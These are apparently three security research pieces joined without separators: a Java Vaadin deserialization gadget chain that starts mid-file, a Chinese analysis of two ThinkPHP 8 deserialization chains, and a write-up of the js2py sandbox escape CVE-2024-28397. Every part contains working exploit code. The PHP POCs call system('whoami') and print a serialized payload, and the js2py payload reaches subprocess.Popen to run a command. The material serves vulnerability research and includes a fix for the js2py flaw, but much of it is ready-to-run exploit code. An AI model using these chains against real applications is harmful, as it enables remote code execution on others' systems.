java.util.ArrayList; import java.util.List; public class Vaddin { public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, SQLException { SimpleJDBCConnectionPool simpleJDBCConnectionPool=new SimpleJDBCConnectionPool("com.mysql.cj.jdbc.Driver","rmi://127.0.0.1:8085/LgcBAOEy","test","test"); J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("rmi://127.0.0.1:8085/LgcBAOEy"); Class<?> table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"); TableQuery tableQuery= (TableQuery) createWithoutConstructor(table); setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool); setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>()); setFieldValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator()); Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor(); sql.setAccessible(true); SQLContainer sqlContainer=sql.newInstance(); setFieldValue(sqlContainer,"queryDelegate",tableQuery); NativeSelect nativeSelect=new NativeSelect(); RowId rowId=new RowId(new RowId("1")); setSuperValue(nativeSelect,"value",rowId); setSuperValue(nativeSelect,"items",sqlContainer); setSuperValue(nativeSelect,"multiSelect",true); PropertysetItem pItem=new PropertysetItem(); pItem.addItemProperty("test",nativeSelect); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test"); setFieldValue(badAttributeValueExpException,"val",pItem); byte[] bytes=serialize(badAttributeValueExpException); unserialize(bytes); } public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream); ois.readObject(); } public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); } public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]); } public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons); constructor.setAccessible(true); return (T) constructor.newInstance(consArgs); } public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method method=object.getClass().getDeclaredMethod(name); method.setAccessible(true); method.invoke(object); return object; } public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=object.getClass().getDeclaredField(name); field.setAccessible(true); field.set(object,value); } public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=getField(object.getClass(),name); field.setAccessible(true); field.set(object,value); } private static Field getField(Class<?> clazz, String fieldName) { while (clazz != null) { try { return clazz.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null; } }
Thinkphp8反序列化链子分析 前言 thinkphp8发布不久，支持的PHP版本最低为8，从各大社区都描述可知，PHP8的开发中潜入了安全的研究者，也就是相对来说PHP8变的比较安全。但是并不影响能够找到反序列化的链子，根据师傅们写的文章也不难看出，thinkphp8的反序列化链子不过是将thinkphp6的链子换了一个入口。 搭建环境 composer create-project topthink/think tp8 //Apache中使用的php版本要高于8 链子分析 从thinkphp分析合集中可以知悉，漏洞的source点是通过Model触发save方法从而触发后续的链子，但是在thinkphp8中可以看到，整个类的destruct方法都被删除掉了，也就是失去了这个触发点，只需要找一个新的source点即可。 根据平常的惯例，php的反序列化点一般都是在destruct或wakeup等拥有主动性的函数，这次的source点在ResourceRegister类的__destruct方法，方法能够触发register方法，而$this->registered默认是false的。 进入register方法后，会来到parseGroupRule方法中，参数是this->resource->getRule()的返回值，也就是从Rule类中直接返回变量rule的值。 在Resource#parseGroupRule方法中可知，先判断rule变量是否存在.，如果存在，则会分割成数组，随后弹出数组中的第一个索引并遍历数组，$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';会取出options变量var数组的val索引并与字符串拼接，这里的option也是完全可控的，也就是说这里可以触发_toString方法。 在Convertion#__toString方法中，能够触发toJson方法的，从这里也就连接起了thinkphp6链子的后半段信息。 进入到_toJson方法会通过json_encode编码成json，在这之前会触发toArray()方法先变成数组，方法的具体内容如下： public function toArray(): array { $item = $visible = $hidden = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (str_contains($val, '.')) { [$relation, $name] = explode('.', $val); $visible[$relation][] = $name; } else { $visible[$val] = true; $hasVisible = true; } } else { $visible[$key] = $val; } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (str_contains($val, '.')) { [$relation, $name] = explode('.', $val); $hidden[$relation][] = $name; } else { $hidden[$val] = true; } } else { $hidden[$key] = $val; } } foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name, $visible, $hidden); } $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($visible[$key]) && is_array($visible[$key])) { $val->visible($visible[$key]); } elseif (isset($hidden[$key]) && is_array($hidden[$key])) { $val->hidden($hidden[$key], true); } if (!array_key_exists($key, $this->relation) || (array_key_exists($key, $this->with) && (!isset($hidden[$key]) || true !== $hidden[$key]))) { $item[$key] = $val->toArray(); } } elseif (isset($visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key);#触发getAttr方法 } if (isset($this->mapping[$key])) { $mapName = $this->mapping[$key]; $item[$mapName] = $item[$key]; unset($item[$key]); } } if ($this->convertNameToCamel) { foreach ($item as $key => $val) { $name = Str::camel($key); if ($name !== $key) { $item[$name] = $val; unset($item[$key]); } } } return $item; } 这个方法中有很多for循环，但是一开始赋值的都是空数组，所以前面的循环都不需要管，直至通过array_merge将data与relation合并，并遍历合并后的数组后会进行条件判断，这里需要进入getAttr方法，只需要将$visible滞空，就会来到最后一个elseif，因为$hidden默认是空的，而$hasVisible也默认是false，会进入到getAttr方法中。 在Attribute#get方法中，会先触发getData方法，这个方法会进入到getRealFieldName中返回跟参数一样的值，最终会返回data数组中name索引的值，最终会进入getValue方法。 在getValue中，如果参数$name的值在json数组中，并且withAttr参数索引$name的值是一个数组，就会进入getJsonValue方法。 最终sink点在两个变量的拼接上，遍历withAttr的值作为函数名，将value的值作为参数，触发命令执行，这里的value就是data参数的值。 因此整个poc如下，这里需要解释下为什么Pivot类最终会来到Conversion__toString，因为Pivot继承于Model类，而Model类中通过use字段服用了整个Conversion与Attribute的代码： <?php namespace think\model\concern; trait Attribute{ private $data=['a'=>['a'=>'whoami']]; private $withAttr=['a'=>['a'=>'system']]; protected $json=["a"]; protected $jsonAssoc = true; } namespace think; abstract class Model{ use model\concern\Attribute; } namespace think\model; use think\Model; class Pivot extends Model{} namespace think\route; class Resource { public function __construct() { $this->rule = "1.1"; $this->option = ["var" => ["1" => new \think\model\Pivot()]]; } } class ResourceRegister { protected $resource; public function __construct() { $this->resource = new Resource(); } public function __destruct() { $this->register(); } protected function register() { $this->resource->parseGroupRule($this->resource->getRule()); } } $obj = new ResourceRegister(); echo base64_encode(serialize($obj)); 链子分析2 链子的起始头与第一条链子是一样的，都是通过触发Model#__toString()进入到Conversion#toArray()方法，但是source点不太一样，这里进入的是appendAttrToArray方法中，通过控制append的值，可以控制$name，在前文也提到，visible可以通过控制$this->visible的值，通过遍历$this->visible来控制visible的值。 在appendAttrToArray方法中，当这里的$name属性包含.的时候，会切割成数组，进入到getRelationWith方法中。 在getRelationWith方法中，当控制掉$relation为Validate类的时候，因为不存在visible方法，因此会触发Validate#_call方法。 这里的getRelation方法，当$name为空值的时候，直接返回类的relation值，否则当relation是数组时，判断$name是否是relation的索引，如果是则返回$name索引的值。 在Validate#_call中，做了一些处理，但是并不影响args的值，也就是我们事先传入的$visible[$key]，最终通过call_user_func_array触发类中的is方法。 在is方法中，可以控制this->type[$rule]的值为system，控制$value的最终结果为你需要的命令即可。 public function is($value, string $rule, array $data = []): bool { $call = function ($value, $rule) { if (isset($this->type[$rule])) { $result = call_user_func_array($this->type[$rule], [$value]); #漏洞触发点 } elseif (function_exists('ctype_' . $rule)) { $ctypeFun = 'ctype_' . $rule; $result = $ctypeFun($value); } elseif (isset($this->filter[$rule])) { $result = $this->filter($value, $this->filter[$rule]); } else { $result = $this->regex($value, $rule); } return $result; }; return match (Str::camel($rule)) { 'require' => !empty($value) || '0' == $value, // 必须 'accepted' => in_array($value, ['1', 'on', 'yes']), // 接受 'date' => false !== strtotime($value), // 是否是一个有效日期 'activeUrl' => checkdnsrr($value), // 是否为有效的网址 'boolean','bool' => in_array($value, [true, false, 0, 1, '0', '1'], true), 'number' => ctype_digit((string) $value), 'alphaNum' => ctype_alnum($value), 'array' => is_array($value), // 是否为数组 'string' => is_string($value), 'file' => $value instanceof File, 'image' => $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]), 'token' => $this->token($value, '__token__', $data), default => $call($value, $rule), }; } 这里有一个点容易卡住，也卡住了我将近半小时，就是前面关于$visible的遍历，如果直接将$this->visible的值赋值成类似whoami，最终会变成true。但是如果这里不是字符串，最终call_user_func_array($this->type[$rule], [$value]);又如何执行呢，首先是尝试了数组的形式，最终[$value]变成了双重数组，命令执行会失败。 foreach ($this->visible as $key => $val) { if (is_string($val)) { if (str_contains($val, '.')) { [$relation, $name] = explode('.', $val); $visible[$relation][] = $name; } else { $visible[$val] = true; $hasVisible = true; } } else { $visible[$key] = $val; } } 这里的解决办法就是在call_user_func_array($this->type[$rule], [$value]);执行的过程中，如果$value是一个类，也就相当于这个类被当成了字符串使用，会触发它的__toString方法，返回一个值，因此只需要找一个类的__toString方法直接返回一个值，并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类，这里可以通过构造方法控制value，从而达到上面的效果。 最终payload： <?php namespace Symfony\Component\VarDumper\Cloner; class Stub{} namespace Symfony\Component\VarDumper\Caster; use Symfony\Component\VarDumper\Cloner\Stub; class ConstStub extends Stub { public $value="whoami"; } namespace think; use Symfony\Component\VarDumper\Caster\ConstStub; class Validate{ protected $type; public function __construct(){ $this->type=["visible"=>"system"]; } } abstract class Model{ protected $append=["a"=>"1.1"]; private $relation; protected $visible; public function __construct(){ $this->relation=["1"=>new Validate()]; $this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办？ } } namespace think\model; use think\Model; class Pivot extends Model{ } namespace think\route; use Symfony\Component\VarDumper\Caster\ConstStub; use think\Validate; class Resource { public function __construct() { $this->rule = "1.1"; $this->option =["var" => ["1" => new \think\model\Pivot()]]; } } class ResourceRegister { protected $resource; public function __construct() { $this->resource = new Resource(); } public function __destruct() { $this->register(); } protected function register() { $this->resource->parseGroupRule($this->resource->getRule()); } } $obj = new ResourceRegister(); echo base64_encode(serialize($obj)); 总结 对于链子发现的过程，请参考下面原作者文章，本人参考作者的sink点，仅对链子进行复现并以自己简单易懂的方式与payload进行了归纳。 参考文章： 链子发现者文章
CVE-2024-28397 js2Py逃逸浅析 前言 这是在微信中给我推送的一个漏洞信息，js2py作为一个在python语言中进行js操作的依赖库，确实使用的用途十分广泛。但是由于这个库更多的应当是用于进行爬虫操作，我对于这个库的第一印象也只是在渗透测试中破解前端解密的时候使用过。因此它应该没有什么能够影响的Web资产面。 这里的漏洞描述十分简单，我开始看的是云里雾里，也导致了这个原理十分简单的漏洞，一直调试了很久，下文记录一下整个心理历程。 漏洞原理 这是漏洞的payload，最开始我以为pyjsparser.parser.ENABLE_PYIMPORT = False的作用是阻止js代码中通过一些恶意的语句来限制出现python类的对象，因此我的目光是否在eval_js途中使得ENABLE_PYIMPORT =True，于是就开始了调试代码。 import js2py payload = """ let cmd = "calc;" let obj obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true) console.log(n11) """ def main(): try: result = js2py.eval_js(payload) except Exception as e: print(e) return False return result if __name__ == "__main__": main() 首先进入到eval_js中，会先创建一个EvalJs对象，在创建EvalJs途中会初始化一些变量，前面self._var等都是空字典，直至six.iteritems(context)，这里的six.py是一个在python2与python3中的代码兼容库，而这里的最终作用应该是为了python一些上下文的变量能够被JavaScript访问到。 def __init__(self, context={}, enable_require=False): self.__dict__['_context'] = {} exec (DEFAULT_HEADER, self._context) self.__dict__['_var'] = self._context['var'].to_python() if enable_require: def _js_require_impl(npm_module_name): from .node_import import require from .base import to_python return require(to_python(npm_module_name), context=self._context) setattr(self._var, 'require', _js_require_impl) if not isinstance(context, dict): try: context = context.__dict__ except: raise TypeError( 'context has to be either a dict or have __dict__ attr') for k, v in six.iteritems(context): setattr(self._var, k, v) def eval_js(js): e = EvalJs() return e.eval(js) 进入到eval后就会来到execute方法中，use_compilation_plan应该是与某种编译的方式有关，默认是False，随后会判断是否存在缓存，如果存在缓存，则会计算出hash用于查找编译过的代码，如果没有缓存，则会调用translate_js将JS代码转换成Python代码，最终把编译后的代码放入缓存，并通过exec执行代码。 def execute(self, js=None, use_compilation_plan=False): try: cache = self.__dict__['cache'] except KeyError: cache = self.__dict__['cache'] = {} hashkey = hashlib.md5(js.encode('utf-8')).digest() try: compiled = cache[hashkey] except KeyError: code = translate_js( js, '', use_compilation_plan=use_compilation_plan) compiled = cache[hashkey] = compile(code, '<EvalJS snippet>', 'exec') exec (compiled, self._context)(self, js=None, use_compilation_plan=False): try: cache = self.__dict__['cache'] except KeyError: cache = self.__dict__['cache'] = {} hashkey = hashlib.md5(js.encode('utf-8')).digest() try: compiled = cache[hashkey] except KeyError: code = translate_js( js, '', use_compilation_plan=use_compilation_plan) compiled = cache[hashkey] = compile(code, '<EvalJS snippet>', 'exec') exec (compiled, self._context) 在translate_js中，如果是use_compilation_plan的编译方式，则会采用计划编译，默认不是，就会进入到pyjsparser_parse_fn方法中将Javascript代码解析成AST树(可以简单理解为键值对的字典)，通过clean_stacks清除编译过程中的堆栈中，通过translating_nodes.trans转换成python代码。 def translate_js(js, HEADER=DEFAULT_HEADER, use_compilation_plan=False, parse_fn=pyjsparser_parse_fn): if use_compilation_plan and not '//' in js and not '/*' in js: return translate_js_with_compilation_plan(js, HEADER=HEADER) parsed = parse_fn(js) translating_nodes.clean_stacks() return HEADER + translating_nodes.trans( parsed) trans方法中通过从全局变量中获取需要翻译的节点Program，判断是否是标准翻译后，调用node对节点翻译成Python代码。 def trans(ele, standard=False): try: node = globals().get(ele['type']) if not node: raise NotImplementedError('%s is not supported!' % ele['type']) if standard: node = node.__dict__[ 'standard'] if 'standard' in node.__dict__ else node return node(**ele) except: #print ele raise 进入到Program当中，首先会通过reset重置堆栈，随后遍历代码的内容并添加变量与函数，通过inline_stack.inject_inlines替换掉内敛变量，最终转换成Python代码。 def Program(type, body): inline_stack.reset() # 重置内联变量堆栈 code = ''.join(trans(e) for e in body) # 翻译每个节点并生成代码 code = Context.get_code() + code # 添加提升的元素（注册变量和定义函数） code = inline_stack.inject_inlines(code) # 替换所有内联变量 return code # 返回最终生成的代码 直到调试到这样，我依旧没有看到我想要的ENABLE_PYIMPORT =True，并且我发现当我调试的时候，代码执行是不成功的，而直接运行是成功的，我尝试直接把pyjsparser.parser.ENABLE_PYIMPORT = False加到了代码执行前面，发现没有效果。最终才知晓了原因。 这里关于pyjsparser.parser.ENABLE_PYIMPORT = False的作用，其实是禁用 Python 导入功能 ，控制了是否允许在 JavaScript 代码中使用 Python 的导入语句。 import js2py import pyjsparser #pyjsparser.parser.ENABLE_PYIMPORT = False js_code = """ pyimport os; var current_dir = os.getcwd(); current_dir; """ result = js2py.eval_js(js_code) print(result) def parseStatementListItem(self): if (self.lookahead['type'] == Token.Keyword): val = (self.lookahead['value']) if val == 'export': raise Ecma51NotSupported('ExportDeclaration') elif val == 'import': raise Ecma51NotSupported('ImportDeclaration') elif val == 'const' or val == 'let': return self.parseLexicalDeclaration({ 'inFor': false }) elif val == 'function': return self.parseFunctionDeclaration(Node()) elif val == 'class': raise Ecma51NotSupported('ClassDeclaration') elif ENABLE_PYIMPORT and val == 'pyimport': return self.parsePyimportStatement() return self.parseStatement() 这里从val中能够获取到pyimport，当ENABLE_PYIMPORT=true时才会进入到parsePyimportStatement()解析，否则会来到self.parseStatement()最终进入到throwUnexpectedToken抛出异常信息 但是payload没有受到限制，payload是通过当Javascript在于Python交互时，通过Object.getOwnPropertyNames({})获取了一个PyObjectWrapper，最终通过找到基类的Popen方法触发了命令执行。所以漏洞的成因是ENABLE_PYIMPORT = False的控制没有考虑全面。 obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__ #Object.getOwnPropertyNames获取到了PyObjectWrapper，然后通过类属性获取到基类 修复 这里发现者给出了漏洞的修复方案，主要就是通过替换了Object.getOwnPropertyNames原始方法的形式，使得getOwnPropertyNames只返回一个列表，从而获取不到pyObjectWrapper对象，但是也可能会对原来的代码产生一定的影响。 def monkey_patch(): from js2py.constructors.jsobject import Object fn = Object.own["getOwnPropertyNames"]["value"].code def wraps(*args, **kwargs): result = fn(*args, **kwargs) return list(result) Object.own["getOwnPropertyNames"]["value"].code = wraps if __name__ == "__main__": monkey_patch() 尝试下是否有其它方式可以绕过，关键就在于能不能不通过getOwnPropertyNames来获取PyObjectWrapper，查看内置的Python方法，还有getOwnPropertyDescriptor,getOwnPropertySymbols等分别用于获取属性描述符，对象的符号属性。 Object.keys() Object.getOwnPropertyDescriptor() Object.getOwnPropertySymbols() Object.entries() Object.getPrototypeOf() Object.create() ...似乎都不行 类似如下，虽然它们都是Python对象，比如PyJsString、PyJsObject，但是最终返回出去的只是那个值，只有getOwnPropertyNames返回的显示是一个对象，最终也是没有找到。 def Js(val, Clamped=False): if isinstance(val, PyJs): return val elif val is None: return undefined elif isinstance(val, basestring): return PyJsString(val, StringPrototype) elif isinstance(val, bool): return true if val else false elif isinstance(val, float) or isinstance(val, int) or isinstance( val, long) or (NUMPY_AVAILABLE and isinstance( val, (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16, numpy.int32, numpy.uint32, numpy.float32, numpy.float64))): if val in NUM_BANK: return NUM_BANK[val] return PyJsNumber(float(val), NumberPrototype) elif isinstance(val, FunctionType): return PyJsFunction(val, FunctionPrototype) elif isinstance(val, dict): temp = PyJsObject({}, ObjectPrototype) for k, v in six.iteritems(val): temp.put(Js(k), Js(v)) return temp elif isinstance(val, (list, tuple)): return PyJsArray(val, ArrayPrototype) elif isinstance(val, JsObjectWrapper): return val.__dict__['_obj'] elif NUMPY_AVAILABLE and isinstance(val, numpy.ndarray): if val.dtype == numpy.int8: return PyJsInt8Array(val, Int8ArrayPrototype) elif val.dtype == numpy.uint8 and not Clamped: return PyJsUint8Array(val, Uint8ArrayPrototype) elif val.dtype == numpy.uint8 and Clamped: return PyJsUint8ClampedArray(val, Uint8ClampedArrayPrototype) elif val.dtype == numpy.int16: return PyJsInt16Array(val, Int16ArrayPrototype) elif val.dtype == numpy.uint16: return PyJsUint16Array(val, Uint16ArrayPrototype) elif val.dtype == numpy.int32: return PyJsInt32Array(val, Int32ArrayPrototype) elif val.dtype == numpy.uint32: return PyJsUint16Array(val, Uint32ArrayPrototype) elif val.dtype == numpy.float32: return PyJsFloat32Array(val, Float32ArrayPrototype) elif val.dtype == numpy.float64: return PyJsFloat64Array(val, Float64ArrayPrototype) else: # try to convert to js object return py_wrap(val) 似乎只有当避开了所有的类型检测，最终调用的是py_wrap才会返回PyObjectWrapper的python对象，而getOwnPropertyNames返回的是dict_keys[]的类型，不属于上述的任何类型，因此才能够成功。 总结 js2py沙盒逃逸的成因就是因为Javascirpt与Python进行交互途中，对代码的限制不严，导致能够在js中获取到pyObjectWrapper对象进而获取基类，造成了逃逸。 参考文章：漏洞发现者Marven11的payload